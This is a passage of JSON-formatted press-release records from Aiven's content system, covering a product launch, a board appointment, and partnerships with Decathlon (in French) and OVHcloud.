X."}],"markDefs":[{"_key":"2ebbccbff7f0","_type":"link","href":"https://aiven.io/"},{"_key":"5f9299bba1d5","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"272c2e4657bc","_type":"block","children":[{"_key":"2464cf41372a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"08c509f757f2","_type":"block","children":[{"_key":"7aaf8c93d83d0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"729e5ae01b16","_type":"block","children":[{"_key":"2c0c1b7cd4a60","_type":"span","marks":[],"text":"press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-10-02T06:18:07.376Z","seo":{"_type":"metaData","metaDescription":"Kenneth Chen brings a wealth of finance experience and leadership to Aiven.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a444eb2e3ad8e248609bc2e91dbd2005726e5436-6455x4303-jpg","_type":"reference"}},"metaTitle":"Aiven appoints new CFO to drive growth and scale"},"slug":{"_type":"slug","current":"/press/aiven-appoints-new-cfo-to-executive-team-to-drive-growth-and-scale"},"subtitle":"Kenneth Chen brings a wealth of finance experience and leadership to Aiven","title":"Aiven appoints new CFO to Executive Team to drive growth and scale"} {"__i18n_lang":"en","_createdAt":"2024-05-24T09:27:33Z","_id":"79c5446e-ab36-4b17-9fef-b6e7c8143ae1","_rev":"0wFQnUDqJIzHRpnmb47uio","_type":"pressRelease","_updatedAt":"2024-05-28T12:00:13Z","content":[{"_key":"8a4554ed9d0d","_type":"block","children":[{"_key":"41aaa1b588ca0","_type":"span","marks":["em"],"text":"HELSINKI, Finland, 28th May 2024."},{"_key":"01c0b81bb1c5","_type":"span","marks":[],"text":" ‍Aiven, the trusted data and AI platform company, today announced the launch of "},{"_key":"01a0bde5a554","_type":"span","marks":["e819d06de722"],"text":"Aiven AI Database Optimizer"},{"_key":"e635a9bc0361","_type":"span","marks":[],"text":" enabling customers to increase their database performance up to 10x and optimize their cost by providing a holistic view of the database performance and a one-click optimization functionality."}],"markDefs":[{"_key":"e819d06de722","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"},{"_key":"0ae6c0f81386","_type":"block","children":[{"_key":"250de0a294590","_type":"span","marks":[],"text":"Revolutionizing cloud database performance"}],"markDefs":[],"style":"h2"},{"_key":"34ea9009f8df","_type":"block","children":[{"_key":"717fcbff894a0","_type":"span","marks":[],"text":"The ever increasing speed of innovation in software combined with limited database optimization knowledge is increasingly exposing companies to a higher risk of performance issues, driving decreased service availability and leading to customer dissatisfaction. By providing continuous performance insights and AI-driven workload improvement suggestions, Aiven AI Database Optimizer will allow organizations to accelerate the creation of scalable applications."}],"markDefs":[],"style":"normal"},{"_key":"dbefe939fc90","_type":"block","children":[{"_key":"d59a08a72bc10","_type":"span","marks":[],"text":"The product will empower development teams to write performant code during the application development phase. It will also complement CloudOps engineering teams expertise with the missing database-specific knowledge required to simplify and accelerate performance optimization tasks. Aiven’s AI Database Optimizer can also be used on both development and production databases to improve code efficiency, optimize workloads, avoid performance regression, and rightsize cloud investment."}],"markDefs":[],"style":"normal"},{"_key":"7970aa8c5f5e","_type":"block","children":[{"_key":"218a752f15270","_type":"span","marks":[],"text":"A trusted and non-intrusive solution"}],"markDefs":[],"style":"h2"},{"_key":"676d621d457d","_type":"block","children":[{"_key":"2a2df46fcfb30","_type":"span","marks":[],"text":"Powered by the EverSQL by Aiven engine that has been trusted by over 120,000 professionals to optimize over 2 million queries, Aiven AI Database Optimizer will provide scalable optimization suggestions with non-intrusive functionality. Organizations will be able to solve performance issues without needing to expose the data or compromising on data confidentiality."}],"markDefs":[],"style":"normal"},{"_key":"9dd8c112ca8f","_type":"block","children":[{"_key":"0940eb2623e60","_type":"span","marks":["em"],"text":"\"EverSQL's integration into Aiven marks a pivotal moment for PostgreSQL and MySQL users worldwide. By combining Aiven's trusted cloud data platform with EverSQL's industry-leading AI-powered optimization, we're revolutionizing how companies can make their applications 10x faster and more cost-effective. This new built-in Aiven functionality empowers companies to innovate with confidence and efficiency like never before.\""},{"_key":"da5f4d613b5d","_type":"span","marks":[],"text":" Oded Valin, Co-founder and CEO of EverSQL, Director at Aiven"}],"markDefs":[],"style":"normal"},{"_key":"06ab261fe409","_type":"block","children":[{"_key":"6769cd458bc80","_type":"span","marks":[],"text":"A fleet of Aiven for PostgreSQL® databases is powering La Redoute’s marketplace functionality, driving 30% of their business. Diogo Passadouro - OPS-DBA Team Lead stated "},{"_key":"eb92917ea4af","_type":"span","marks":["em"],"text":"\"Aiven AI Database Optimizer has revolutionized the way we analyze database performance, providing a simple, clear and highly effective approach and has proven instrumental in enhancing the performance of our databases.\""}],"markDefs":[],"style":"normal"},{"_key":"896d95a002ee","_type":"block","children":[{"_key":"7893d2d9159d0","_type":"span","marks":[],"text":"Fully integrated in Aiven for PostgreSQL®, the new “AI Insights” tab in the Aiven Console will enable users to review the running queries in their databases, and receive index and SQL rewrites optimization suggestions. Aiven AI Database Optimizer is available for free for all Aiven for PostgreSQL users during the early availability phase."}],"markDefs":[],"style":"normal"},{"_key":"e5f083848636","_type":"block","children":[{"_key":"35900cc1df6b0","_type":"span","marks":["strong"],"text":"Additional resources:"}],"markDefs":[],"style":"normal"},{"_key":"0a24154a5053","_type":"block","children":[{"_key":"0f7e6e2744660","_type":"span","marks":["68460dd95512"],"text":"Aiven AI Database Optimizer - Announcement blog"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"68460dd95512","_type":"link","href":"https://aiven.io/blog/aiven-ai-dboptimizer-launch"}],"style":"normal"},{"_key":"1567da125c8e","_type":"block","children":[{"_key":"eb2d72652097","_type":"span","marks":["62f7df1e1af6"],"text":"Aiven AI Database Optimizer - Solution details"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"62f7df1e1af6","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"},{"_key":"bc6b26aab3b5","_type":"block","children":[{"_key":"3f93e3d10553","_type":"span","marks":["54a6a6cc761d"],"text":"Aiven AI Database Optimizer - Lili customer story"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"54a6a6cc761d","_type":"link","href":"https://aiven.io/blog/better-business-banking-how-aiven-helps-lili-to-expand"}],"style":"normal"},{"_key":"b496417cb5fb","_type":"block","children":[{"_key":"874779c00cf20","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"1bc2072143fa","_type":"block","children":[{"_key":"d49ef33dd5d50","_type":"span","marks":[],"text":"Aiven is a trusted data and AI platform company, helping organizations gain more value from their data. Aiven’s cloud platform combines open choice services to stream, store, and serve data, simply, securely, and rapidly across major cloud providers to power innovation. Aiven is trusted by thousands of customers to create next-generation applications confidently and quickly. You can visit us at "},{"_key":"3ae9a43e2bc3","_type":"span","marks":["a78e328d898e"],"text":"aiven.io"},{"_key":"7c0926e7b270","_type":"span","marks":[],"text":" and follow us on "},{"_key":"f52a08d1d0d6","_type":"span","marks":["1253a76e6b28"],"text":"LinkedIn"},{"_key":"93c38ed7d618","_type":"span","marks":[],"text":" and X at "},{"_key":"0469a134a032","_type":"span","marks":["aa92ac42917d"],"text":"@aiven_io"}],"markDefs":[{"_key":"a78e328d898e","_type":"link","href":"https://aiven.io"},{"_key":"1253a76e6b28","_type":"link","href":"https://www.linkedin.com/company/aiven/"},{"_key":"aa92ac42917d","_type":"link","href":"https://x.com/aiven_io"}],"style":"normal"},{"_key":"1088217815e1","_type":"block","children":[{"_key":"6a219e5cffc70","_type":"span","marks":[],"text":"For Aiven media enquiries, please contact: Cherry Gray | "},{"_key":"c1484610c22e","_type":"span","marks":["b13a34f6526d"],"text":"cherry.gray@aiven.io"}],"markDefs":[{"_key":"b13a34f6526d","_type":"link","href":"mailto:cherry.gray@aiven.io"}],"style":"normal"}],"publishedAt":"2024-05-28T12:00:00.000Z","seo":{"_type":"metaData","metaDescription":"New Aiven AI Database Optimizer will deliver dedicated AI to enhance database performance","metaTitle":"‍Aiven Announces Launch Aiven AI Database Optimizer"},"slug":{"_type":"slug","current":"/press/aiven-releases-ai-database-optimizer"},"subtitle":"New Aiven AI Database Optimizer will deliver dedicated AI to enhance database performance","title":"‍Aiven Announces Launch Aiven AI Database Optimizer"} {"__i18n_lang":"en","_createdAt":"2024-05-21T10:05:41Z","_id":"8b764716-0c7b-4333-95a3-712b0f01e0a1","_rev":"YaKEzcVhnb7P0fmfvBefMs","_type":"pressRelease","_updatedAt":"2024-08-01T12:18:49Z","content":[{"_key":"17637b593027","_type":"block","children":[{"_key":"1dd1142143a00","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 23, 2024 "},{"_key":"7888f08951c4","_type":"span","marks":["ca6a5f0b011e"],"text":"Aiven"},{"_key":"ba0624df880b","_type":"span","marks":[],"text":", the trusted data and AI platform company, today announced the appointment of Shiv Ramji to its board of directors."}],"markDefs":[{"_key":"ca6a5f0b011e","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"f7d7218c2da4","_type":"block","children":[{"_key":"db695d54ca05","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b8009692e333","_type":"block","children":[{"_key":"2db43575ebe70","_type":"span","marks":[],"text":"Ramji, who is currently President, Customer Identity Cloud at "},{"_key":"99c20b8269f3","_type":"span","marks":["e16fb747af8e"],"text":"Okta"},{"_key":"c1d24447d305","_type":"span","marks":[],"text":", will bring extensive executive experience of accelerating business growth through product leadership across both media and cloud infrastructure to Aiven’s board of directors. Having served in senior product leadership roles at global organizations including DigitalOcean, Amazon, NBCUniversal, and The Nielsen Company, he is also widely recognised for his operational acumen in developing and scaling the adoption of market leading products and his track record of driving innovation at the intersection of B2C, B2B, and B2D"}],"markDefs":[{"_key":"e16fb747af8e","_type":"link","href":"https://www.okta.com/"}],"style":"normal"},{"_key":"87418ff5f48e","_type":"block","children":[{"_key":"8344b2e0e08d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5ae04684bc22","_type":"block","children":[{"_key":"c03a4029fc870","_type":"span","marks":[],"text":"“With his deep heritage in business and product leadership and his passion for market leading product development, Shiv will make an excellent addition to Aiven’s board of directors,” said Oskari Saarenmaa, Aiven’s Chief Executive Officer. “We look forward to Shiv bringing this expertise to drive the future direction of Aiven’s business and shape the approach to our continued innovation.”"}],"markDefs":[],"style":"normal"},{"_key":"d4d2fd142276","_type":"block","children":[{"_key":"9b357322b1d10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"afb6b735ae53","_type":"block","children":[{"_key":"525967b432e20","_type":"span","marks":[],"text":"“I am delighted to be asked to join Aiven’s board of directors and to contribute to its future growth in ensuring that organizations gain more value from their data. I see a great opportunity to provide my laser focus on delivering product excellence to developers and senior business leaders alike, while advising on how this can accelerate Aiven’s continued momentum in the market,” commented Shiv Ramji."}],"markDefs":[],"style":"normal"},{"_key":"a809db93b3f9","_type":"block","children":[{"_key":"99b2153494ee0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"f22f2ec64064","_type":"block","children":[{"_key":"4e954789015a0","_type":"span","marks":[],"text":"Aiven is a trusted data and AI platform company, helping organizations gain more value from their data. Aiven’s cloud platform combines open choice services to stream, store, and serve data, simply, securely, and rapidly across major cloud providers to power innovation. Aiven is trusted by thousands of customers to create next-generation applications confidently and quickly. You can visit us at "},{"_key":"4e954789015a1","_type":"span","marks":["f806c540b7ba"],"text":"aiven.io"},{"_key":"4e954789015a2","_type":"span","marks":[],"text":" and follow us on "},{"_key":"4e954789015a3","_type":"span","marks":["3bbc7f9aa9a7"],"text":"LinkedIn"},{"_key":"4e954789015a4","_type":"span","marks":[],"text":" and X at @aiven_io"}],"markDefs":[{"_key":"f806c540b7ba","_type":"link","href":"https://aiven.io"},{"_key":"3bbc7f9aa9a7","_type":"link","href":"https://www.linkedin.com/company/aiven/"}],"style":"normal"},{"_key":"d4bf3de5ef9d","_type":"block","children":[{"_key":"e3894bf5573f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e01070a05c85","_type":"block","children":[{"_key":"2fbb75b8cf71","_type":"span","marks":["strong"],"text":"Media contacts"}],"markDefs":[],"style":"normal"},{"_key":"7ce8d0437b4b","_type":"block","children":[{"_key":"fddc6b8304ac0","_type":"span","marks":[],"text":"For Aiven media enquiries, please contact: Cherry Gray | "},{"_key":"fddc6b8304ac1","_type":"span","marks":["6c74267ea605"],"text":"cherry.gray@aiven.io"}],"markDefs":[{"_key":"6c74267ea605","_type":"link","href":"mailto:cherry.gray@aiven.io"}],"style":"normal"}],"publishedAt":"2024-05-23T08:00:00.000Z","seo":{"_type":"metaData","metaTitle":"Shiv Ramji Joins Aiven’s Board of Directors"},"slug":{"_type":"slug","current":"/press/shiv-ramji-joins-aivens-board-of-directors"},"title":"Industry Leading Product Innovator Shiv Ramji Joins Aiven’s Board of Directors"} {"__i18n_base":{"_ref":"SmFSPQEeG0lT9LV1ImFb1","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-17T22:42:59Z","_id":"SmFSPQEeG0lT9LV1ImFb1__i18n_fr","_rev":"lbpMA3MBWy0eIji4xk6vCg","_type":"pressRelease","_updatedAt":"2024-12-10T15:16:48Z","content":[{"_key":"eee950c90596","_type":"block","children":[{"_key":"9d0aeb8b825e0","_type":"span","marks":["em"],"text":"Le Groupe Decathlon choisit Aiven pour transformer ses technologies de gestion des données open source en une plateforme hautement résiliente configurée pour le DevOps."}],"markDefs":[],"style":"normal"},{"_key":"INgM4GkH","_type":"block","children":[{"_key":"9ad58c887c06","_type":"span","marks":["strong"],"text":"HELSINKI, Finlande — 24 février 202"},{"_key":"79938d5308b9","_type":"span","marks":[],"text":"2 – "},{"_key":"UkItOYdI","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"sdhlphdH","_type":"span","marks":[],"text":", une entreprise leader qui combine les meilleures technologies open source de streaming et de gestion des données avec l'infrastructure cloud, s'associe à Decathlon, un acteur majeur de la distribution d'articles de sport, avec un ADN fermement axé sur l'innovation technologique et le service. Aiven fournira à Decathlon un support mondial en matière de Database-as-a-Service (DBaaS) pour sa transition vers les microservices."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"FHRyHmM2","_type":"block","children":[{"_key":"BrlOW1hW","_type":"span","marks":["em"],"text":"« Se démarquer dans un secteur de la vente au détail de plus en plus compétitif nécessite de développer un environnement informatique basé sur des technologies cloud natives de pointe et des processus hautement automatisés. Chez Decathlon, l'innovation en matière de service et de technologie est au cœur de nos activités quotidiennes. C'est pourquoi nous formons des alliances avec des partenaires multicloud solides comme Aiven, qui fournit le DBaaS en tant que pierre angulaire technologique et opérationnelle de notre stratégie mondiale Cloud Platform Engineering »"},{"_key":"a94d9234b152","_type":"span","marks":[],"text":", a déclaré Jérôme Dubreuil, Chief Digital Officer de Decathlon."}],"markDefs":[],"style":"normal"},{"_key":"a1ce8b70553e","_type":"block","children":[{"_key":"bc4135b0102c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e234a2ac13ce","_type":"block","children":[{"_key":"30b4b3f796810","_type":"span","marks":[],"text":"Decathlon bénéficiera de l'expertise d'Aiven en matière de gestion de services et de cloud pour transformer des technologies de données open source telles que Kafka, PostgreSQL, MySQL, OpenSearch, InfluxDB et Redis en solutions de données faciles à consommer, hautement disponibles et évolutives."}],"markDefs":[],"style":"normal"},{"_key":"9f194fb3a9e1","_type":"block","children":[{"_key":"be51ad4f67e90","_type":"span","marks":["em"],"text":"« La solution d’Aiven nous offre une pile unique pour déployer nos solutions de bases de données sur tous les fournisseurs cloud. Ce type de collaboration nous permet de nous appuyer sur l’expertise d’Aiven pour certaines de nos applications (notamment pour les bases de données). Nous pouvons ensuite nous concentrer sur les éléments des solutions qui différencient davantage l’expérience utilisateur de nos clients. Ce travail est réalisé par nos équipes pluridisciplinaires chez Decathlon — architecture, sécurité, performance, intégration — ainsi que par nos développeurs »"},{"_key":"8af9377637c4","_type":"span","marks":[],"text":", a expliqué Pierre Hilbert, Database Product Owner chez Decathlon."}],"markDefs":[],"style":"normal"},{"_key":"c8c654771026","_type":"block","children":[{"_key":"383423cd9b740","_type":"span","marks":[],"text":"Avec la croissance rapide du DBaaS, Aiven et Decathlon continueront de collaborer et de planifier la transformation des services de gestion des données."}],"markDefs":[],"style":"normal"},{"_key":"8ba037064ae5","_type":"block","children":[{"_key":"7a7bf26812800","_type":"span","marks":["em"],"text":"« Nous sommes ravis d’accompagner Decathlon dans une transformation aussi importante et sommes pleinement conscients du niveau de qualité requis pour gérer les applications de Decathlon »"},{"_key":"47736ff8b71b","_type":"span","marks":[],"text":", a déclaré Oskari Saarenmaa, CEO et co-fondateur d’Aiven."}],"markDefs":[],"style":"normal"},{"_key":"fe6bcdc95496","_type":"block","children":[{"_key":"bb35680b5d5e0","_type":"span","marks":["em"],"text":"« Alors que le marché des bases de données open source a rattrapé celui des services professionnels pour la première fois en 2021, Aiven est plus que jamais engagé à fournir des services de données fiables et innovants, conçus pour simplifier la vie des développeurs et soutenir les activités de nos clients. »"}],"markDefs":[],"style":"normal"},{"_key":"63cabfb59278","_type":"block","children":[{"_key":"42a45cc547f4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0f646ca2faee","_type":"block","children":[{"_key":"003bdcb0a8f10","_type":"span","marks":["strong"],"text":"À propos de Decathlon :"},{"_key":"6d774ab78a6f","_type":"span","marks":[],"text":"\nAu cours de la dernière décennie, à travers sa branche Decathlon Technology, Decathlon a accéléré sa transformation numérique pour faire face aux nouveaux défis technologiques et aux évolutions des modes de consommation. Avec plus de 3 000 ingénieurs dans plus de 50 pays, Decathlon Technology exploite les technologies les plus innovantes et développe des outils, des systèmes et des expériences permettant aux personnes du monde entier d’accéder aux joies et aux bienfaits du sport. Leader sur le marché des articles de sport, Decathlon opère sur deux axes : la création de produits et services sportifs innovants, et leur distribution en ligne et en magasin. Avec 330 points de vente en France et plus de 1 700 à travers le monde, Decathlon et ses 97 000 collaborateurs œuvrent depuis 1976 pour un objectif constant : innover dans tous les domaines afin de rester le principal partenaire de tous les sportifs."}],"markDefs":[],"style":"normal"},{"_key":"46a288f206f2","_type":"block","children":[{"_key":"06df85ae0608","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d98f2bbbaaa6","_type":"block","children":[{"_key":"fb3fe3ba28070","_type":"span","marks":["strong"],"text":"À propos d’Aiven :"},{"_key":"8f7e3e6d3618","_type":"span","marks":[],"text":"\nBasée à Helsinki et dotée de hubs à Berlin, Boston, Toronto, Singapour, Sydney et récemment Paris, Aiven fournit des technologies de données open source managées, telles que PostgreSQL, Kafka, OpenSearch et M3, sur tous les principaux clouds américains et européens. Aiven propose ses services dans un environnement CloudOps qui aide les entreprises à tirer parti des avantages du cloud natif pour accélérer et sécuriser leur transformation. Grâce à Aiven, les développeurs peuvent se concentrer sur leur cœur de métier : créer des applications, tandis qu’Aiven gère l’infrastructure multicloud de données. Plus tôt cette année, ADEO a annoncé son partenariat avec Aiven. Aiven a levé 210 millions de dollars auprès de fonds de capital-risque et a atteint le statut de licorne. Aiven est soutenue par des investisseurs de renommée mondiale, notamment Atomico, IVP et Earlybird Venture Capital, entre autres. Pour en savoir plus sur Aiven, visitez "},{"_key":"de9e6145dc77","_type":"span","marks":["128645a2769a"],"text":"aiven.io"},{"_key":"cc6fccb1efe1","_type":"span","marks":[],"text":" et suivez "},{"_key":"585eaf9cbce1","_type":"span","marks":["a29312acfa02"],"text":"@aiven_io"},{"_key":"4c440bf4b8f1","_type":"span","marks":[],"text":" sur Twitter."}],"markDefs":[{"_key":"128645a2769a","_type":"internalLink","internalLink":{"_ref":"frontpage__i18n_fr","_type":"reference"}},{"_key":"a29312acfa02","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-02-24T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Le Groupe Decathlon choisit Aiven pour transformer ses technologies de gestion des données open source en une plateforme hautement résiliente configurée pour le DevOps.","metaTitle":"Decathlon choisit Aiven pour accélérer sa transition vers le cloud"},"slug":{"_type":"slug","current":"/press/decathlon-selects-to-the-cloud-through-open-source-dbaas-and-cloud-native"},"subtitle":"Le Groupe Decathlon choisit Aiven pour transformer ses technologies de gestion des données open source en une plateforme hautement résiliente configurée pour le DevOps.","title":"Decathlon Choisit Aiven pour Accélérer sa Transition vers le Cloud grâce à DbaaS Open Source et aux Solutions Cloud Native"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"6IvdrNWtZFGDuYJECNXlNv","_rev":"0rD6Phxg3duzic15oE9v1P","_type":"pressRelease","_updatedAt":"2022-12-02T12:57:54Z","content":[{"_key":"lG3VW8ZX","_type":"block","children":[{"_key":"16ed7cb48c90","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 1, 2022-"},{"_key":"mn838031","_type":"span","marks":[],"text":"With six new DBaaS solutions available, OVHcloud now offers its customers one of the largest DBaaS portfolios on the market. This acceleration was made possible thanks to a partnership with Aiven, the European software company that combines the best of open-source technologies and cloud infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"jpLLBc4C","_type":"block","children":[{"_key":"LIBApkYm","_type":"span","marks":[],"text":"With its six new Database-as-a-Service solutions (MySQL, PostgreSQL(1), Apache Kafka, Apache Kafka Mirror Maker, RedisTM(2) and OpenSearch) along with 5 other solutions (Apache Cassandra, M3, M3 Aggregator, Grafana(3) and Apache Kafka Connect(4) all available in spring 2022, OVHcloud is offering its customers the most comprehensive choice of managed databases."}],"markDefs":[],"style":"normal"},{"_key":"MsFR5JFC","_type":"block","children":[{"_key":"so4kHOmx","_type":"span","marks":[],"text":"Through its extensive Public Cloud Database portfolio, OVHcloud supports the adoption of a company’s Managed Platform-as-a-Service and facilitates the acceleration of their transformation as part of application modernisation, the implementation of a native cloud strategy, or the extrapolation of data through a complete data pipeline, based on artificial intelligence."}],"markDefs":[],"style":"normal"},{"_key":"X6pjEci8","_type":"block","children":[{"_key":"nizh6khd","_type":"span","marks":[],"text":"OVHcloud offers open-source databases, allowing its customers to benefit from the latest updates and innovation from user communities. These sustainable solutions, standards and supported by the open-source community guarantee portability and reversibility, to avoid any vendor lock-in."}],"markDefs":[],"style":"normal"},{"_key":"ytOfKNfH","_type":"block","children":[{"_key":"3Rd6Yqnu","_type":"span","marks":[],"text":"DBaaS solutions benefit from the advantages fundamental to the OVHcloud range: an accessible solution, an unparalleled price/performance ratio, predictable pricing and data location choices so you are not subject to extraterritorial laws."}],"markDefs":[],"style":"normal"},{"_key":"ujjydSwW","_type":"block","children":[{"_key":"XfAAzwHr","_type":"span","marks":["strong"],"text":"An OVHcloud-Aiven partnership to drive innovation"}],"markDefs":[],"style":"normal"},{"_key":"0pD5swf8","_type":"block","children":[{"_key":"UR2oG1B6","_type":"span","marks":[],"text":"For Thierry Souche, Chief Technical Officer at OVHcloud: “It’s essential for us to respond to our customers’ evolving needs, and to adapt to an ever-changing market. We have therefore decided to support them by offering a managed, trusted offer for a wide range of database engines. To achieve this, OVHcloud relied on the technologies from the European software player, Aiven, with which we share the same values - open-source innovation, interoperable standards, accessibility and simplicity. ” “Through our partnership with OVHcloud, we are providing opensource technologies that enable organizations to accelerate implementation of digital cloud infrastructure and utilize data to drive business and innovation. We are happy to be part of this changing moment in the history of OVHcloud,” Heikki Nousiainen, Chief Technology Officer at Aiven said."}],"markDefs":[],"style":"normal"},{"_key":"bW672UMr","_type":"block","children":[{"_key":"dIE95wym","_type":"span","marks":["strong"],"text":"An extensive catalogue to suit a variety of use cases"}],"markDefs":[],"style":"normal"},{"_key":"n3UQVkE1","_type":"block","children":[{"_key":"3wrKQ3t5","_type":"span","marks":[],"text":"Thanks to the use of managed databases, which enabled them to avoid infrastructure management and focus on their core business, the beta testers of the solution were able to increase their performance significantly."}],"markDefs":[],"style":"normal"},{"_key":"YOFEHxML","_type":"block","children":[{"_key":"tS2Sd6vg","_type":"span","marks":[],"text":"“We have developed our applications to provide real-time vehicle condition data to our customers. We needed to find the right cloud provider to manage our MySQL database: a GDPR-compliant provider that is also able to deploy our service quickly. Using the OVHcloud’s managed DBaaS helps our IT Team to focus on their core mission whilst maintaining high uptime system availability. We like the Public Cloud Database for MySQL for its performance, security, and ease of use”, shares Nick Chadaway, Managing Director of DMN Logistics."}],"markDefs":[],"style":"normal"},{"_key":"TX6NfZz6","_type":"block","children":[{"_key":"9Ic8umWM","_type":"span","marks":[],"text":"Liv Systems GmbH, a startup based in Germany, tested the beta of managed MySQL, coupled with Managed Kubernetes and the load balancer. “Thanks to this DBaaS, we were able to build a production environment and use the databases for a knowledge base and user management. As everything can be set via the console, the set-up was smooth and easy. It really has been a time saver!”"}],"markDefs":[],"style":"normal"},{"_key":"8bau4TFH","_type":"block","children":[{"_key":"Wjp3RzJc","_type":"span","marks":[],"text":"Sébastien Gaïde, CTO and co-founder of the startup Tilkal, a blockchain platform for supply chain traceability, explains: “Our business requires to optimally protect our customers’ data. That is why we joined OVHcloud one year ago. Since November 2021, we have tested PostgreSQL databases, so that we have no longer to manage them ourselves on dedicated servers. We have not only doubled our performance, but also gained reliability and ease of use. ”"}],"markDefs":[],"style":"normal"},{"_key":"LW7UlWar","_type":"block","children":[{"_key":"4mnYea5j","_type":"span","marks":[],"text":"(1) PostgreSQL is a trademark of the PostgreSQL Community Association of Canada, and used with their permission."}],"markDefs":[],"style":"normal"},{"_key":"6gYP82VE","_type":"block","children":[{"_key":"ZBpsV3Qs","_type":"span","marks":[],"text":"(2)Redis is a trademark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by OVH SAS is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and OVH SAS."}],"markDefs":[],"style":"normal"},{"_key":"dBWVxN1P","_type":"block","children":[{"_key":"SuaFjvhM","_type":"span","marks":[],"text":"(3)The Grafana Labs Marks are trademarks of Grafana Labs, and are used with Grafana Labs’ permission. We are not affiliated with, endorsed or sponsored by Grafana Labs or its affiliates."}],"markDefs":[],"style":"normal"},{"_key":"1Kbqx8wo","_type":"block","children":[{"_key":"rqc8eqdO","_type":"span","marks":[],"text":"(4)All product names, logos, and brands are property of their respective owners. All company, product and service names used in this release are for identification purposes only. Use of these company names, logos, and trademarks should not suggest endorsement, sponsorship, or association with the owner of those intellectual property rights."}],"markDefs":[],"style":"normal"},{"_key":"2BWaD1Gn","_type":"block","children":[{"_key":"ESXK2JNS","_type":"span","marks":["strong"],"text":"About OVHcloud"}],"markDefs":[],"style":"normal"},{"_key":"2Ehk2QfH","_type":"block","children":[{"_key":"Uj14xV8A","_type":"span","marks":[],"text":"OVHcloud is a global player and Europe’s leading cloud provider operating over 400,000 servers within 33 data centres across four continents. For 20 years, the Group has relied on an integrated model that provides complete control of its value chain–from the design of its servers, to the construction and management of its data centres, including the orchestration of its fibre-optic network. This unique approach allows it to independently cover all the uses of its 1.6 million customers in more than 140 countries. OVHcloud now offers its customers latest-generation solutions combining performance, price predictability and total sovereignty over their data to support their growth in complete freedom. Newsroom: "},{"_key":"6htR4UpU","_type":"span","marks":["m2589355046796"],"text":"https://corporate.ovhcloud.com/en/newsroom/"}],"markDefs":[{"_key":"m2589355046796","_type":"link","href":"https://corporate.ovhcloud.com/en/newsroom/"}],"style":"normal"},{"_key":"3kAVvxN2","_type":"block","children":[{"_key":"MD245X1Z","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"AprF8bLY","_type":"block","children":[{"_key":"GRWLTiNd","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation and has now raised $210M total funding backed by its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures and World Innovation Lab. To learn more about Aiven, visit "},{"_key":"ogfEjeqp","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"STEgB7DM","_type":"span","marks":[],"text":" and follow "},{"_key":"iFQAqiQP","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"4xcGLrUU","_type":"span","marks":[],"text":"on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-02-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"With six new DBaaS solutions available, OVHcloud now offers its customers one of the largest DBaaS portfolios on the market. ","metaTitle":"Aiven OVHcloud confirms shift to PaaS and expands its DBaaS "},"slug":{"_type":"slug","current":"/press/through-its-partnership-with-aiven-ovhcloud-confirms-its-shift"},"subtitle":"With six new DBaaS solutions available, OVHcloud now offers its customers one of the largest DBaaS portfolios on the market. This acceleration was made possible thanks to a partnership with Aiven, the European software company that combines the best of open-source technologies and cloud infrastructure. ","title":"Through its partnership with Aiven, OVHcloud confirms its shift to PaaS and expands its DBaaS offering "} 